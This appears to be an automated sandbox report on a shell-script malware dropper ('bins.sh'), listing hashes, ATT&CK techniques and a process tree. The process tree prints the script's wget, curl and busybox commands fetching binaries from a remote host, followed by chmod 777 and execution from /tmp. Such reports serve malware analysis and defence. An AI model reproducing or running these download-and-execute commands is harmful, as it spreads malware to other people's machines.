5ab44ebc3b4abc98bbda6ca2054ad10ba1a7c4556728fa4c111c79fa1628e6c1

Analysis

max time kernel
149s
max time network
30s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
17/11/2024, 03:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241117-djfefaynet
SHA256 5ab44ebc3b4abc98bbda6ca2054ad10ba1a7c4556728fa4c111c79fa1628e6c1
MD5 86338584eb5dba49902e91b4ba4141cc
SHA1 3decfc16c9a0506a3b11035beff89782ff8b9c68
SHA512 bf72ed987cc234d0c721eb674af7f505a139b9cdfde37b606ce9ad866b1bb6f149b72766eb95f17bb5d8ad478ae2eb62c5b743853fc5532c303ef592242ec5db
SSDEEP 192:YUE1aWQMlyOnM0xA724RPmPKUE1aW6yOnM0xY:fM7A724RPmPNY
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
769	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM	770	5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 4 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
672	curl
768	busybox
773	wget
774	curl
667	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:659
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:665
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
  2⤵
  - System Network Configuration Discovery
  PID:667
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:672
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
  2⤵
  - System Network Configuration Discovery
  PID:768
- /bin/chmod
  chmod 777 5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
  ./5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
  2⤵
  - Executes dropped EXE
  PID:770
- /bin/rm
  rm 5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
  2⤵
  PID:772
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt
  2⤵
  - System Network Configuration Discovery
  PID:773
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:774

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM

Path /tmp/5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
Size 112KB
SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
MD5 05d7857dcead18bbd86d2935f591873c
SHA1 34d18f41ef35f93d5364ce3e24d74730a4e91985
SHA512 d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
SSDEEP 3072:o0pHqiUxCoypP1Xyukbt56UFQ71SMSmUHM5RmNtbm9c:REOtiukxc3SmUHM5Rm/bm9c
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads